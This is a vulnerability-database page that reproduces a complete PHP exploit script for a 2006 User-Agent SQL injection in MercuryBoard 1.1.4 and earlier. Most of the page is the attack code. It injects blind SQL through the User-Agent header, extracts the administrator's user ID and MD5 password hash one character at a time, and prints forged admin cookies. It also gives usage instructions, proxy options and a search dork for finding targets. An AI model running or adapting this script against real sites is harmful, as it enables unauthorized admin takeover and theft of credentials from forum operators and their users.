Lucene search
K

MercuryBoard <= 1.1.4 (User-Agent) Remote SQL Injection Exploit

🗓️ 23 Aug 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

MercuryBoard <= 1.1.4 Remote SQL Injection Exploit, allows privilege escalatio

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&lt;?
print_r('
--------------------------------------------------------------------------------
MercuryBoard &lt;= 1.1.4 &quot;User-Agent&quot; SQL injection / privilege escalation exploit
(php version)
by rgod [email protected]
site: http://retrogod.altervista.org
dork: &quot;Powered by MercuryBoard&quot;
--------------------------------------------------------------------------------
');
/*
works regardless of php.ini settings
against MySQL &gt; 4.1 (allowing subs)
original exploit: http://www.milw0rm.com/exploits/1058 coded by 1dt.w0lf
not working for me, so I wrote my version
vulnerability is actually unpatched...
*/

if ($argc&lt;3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host:      target server (ip/hostname)
path:      path to MercuryBoard
Options:
   -p[port]:    specify a port other than 80
   -P[ip:port]: specify a proxy
Examples:
php '.$argv[0].' localhost /mercury/
php '.$argv[0].' localhost /mercury/ -p81
php '.$argv[0].' localhost / -P1.1.1.1:80
--------------------------------------------------------------------------------
');
die;
}

error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i&lt;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &lt;= 32 ) | (ord($string[$i]) &gt; 126 ))
   {$result.=&quot;  .&quot;;}
   else
   {$result.=&quot;  &quot;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&quot; &quot;.dechex(ord($string[$i]));}
   else
   {$exa.=&quot; 0&quot;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&quot;\r\n&quot;; $exa.=&quot;\r\n&quot;;}
  }
 return $exa.&quot;\r\n&quot;.$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo &quot;Connecting to &quot;.$parts[0].&quot;:&quot;.$parts[1].&quot; proxy...\r\n&quot;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &quot;\r\n&quot;.$html;
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy=&quot;&quot;;
for ($i=3; $i&lt;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&quot;-p&quot;)
{
  $port=str_replace(&quot;-p&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-P&quot;)
{
  $proxy=str_replace(&quot;-P&quot;,&quot;&quot;,$argv[$i]);
}
}
if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$packet=&quot;GET &quot;.$p.&quot;index.php?a=active HTTP/1.0\r\n&quot;;
$packet.=&quot;User-Agent: '\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
sendpacketii($packet);
if (eregi(&quot;REPLACE INTO&quot;,$html))
{
echo &quot;vulnerable...\n&quot;;
$temp=explode(&quot;REPLACE INTO &quot;,$html);
$temp2=explode(&quot;active&quot;,$temp[1]);
$prefix=$temp2[0];
echo &quot;prefix -&gt; &quot;.$prefix.&quot;\n&quot;;sleep(1);
}
else
{
die(&quot;not vulnerable...\n&quot;);
}

$ch[0]=0;//null
$ch=array_merge($ch,range(48,57)); //numbers
$j=1;
$id=&quot;&quot;;
echo &quot;building the admin cookie...\nid: &quot;;
while (!strstr($id,chr(0)))
{
for ($i=0; $i&lt;=255; $i++)
{
if (in_array($i,$ch))
{
$packet=&quot;GET &quot;.$p.&quot;index.php?a=active HTTP/1.0\r\n&quot;;
$packet.=&quot;User-Agent: 666','suntzu'),(1,'active',0,'','','',(SELECT(IF((ASCII(SUBSTRING(user_id,&quot;.$j.&quot;,1))=&quot;.$i.&quot;),'suntzu','suntzoi'))/**/FROM/**/&quot;.$prefix.&quot;users/**/WHERE/**/user_group=1))/*\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
sendpacketii($packet);
if (eregi(&quot;You have an error in your SQL syntax near 'SELECT&quot;,$html))
{die(&quot;\nWrong MySql version, sorry...&quot;);}
if (!eregi(&quot;Viewing the active users&quot;,$html)) {$id.=chr($i);echo chr($i);sleep(1);break;}
}
if ($i==255) {die(&quot;\nExploit failed...&quot;);}
}
$j++;
}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password=&quot;&quot;;
echo &quot;\npassword (md5): &quot;;
while (!strstr($password,chr(0)))
{
for ($i=0; $i&lt;=255; $i++)
{
if (in_array($i,$chars))
{
$packet=&quot;GET &quot;.$p.&quot;index.php?a=active HTTP/1.0\r\n&quot;;
$packet.=&quot;User-Agent: 666','suntzu'),(1,'active',0,'','','',(SELECT(IF((ASCII(SUBSTRING(user_password,&quot;.$j.&quot;,1))=&quot;.$i.&quot;),'suntzu','suntzoi'))/**/FROM/**/&quot;.$prefix.&quot;users/**/WHERE/**/user_group=1))/*\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
sendpacketii($packet);
if (!eregi(&quot;Viewing the active users&quot;,$html)) {$password.=chr($i);echo chr($i);sleep(1);break;}
}
if ($i==255) {die(&quot;\nExploit failed...&quot;);}
}
$j++;
}
echo &quot;\nyour admin cookie:\n mercury_user=$id; mercury_pass=$password;\n&quot;;
?&gt;

# milw0rm.com [2006-08-23]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Aug 2006 00:00Current
7.1High risk
Vulners AI Score7.1
18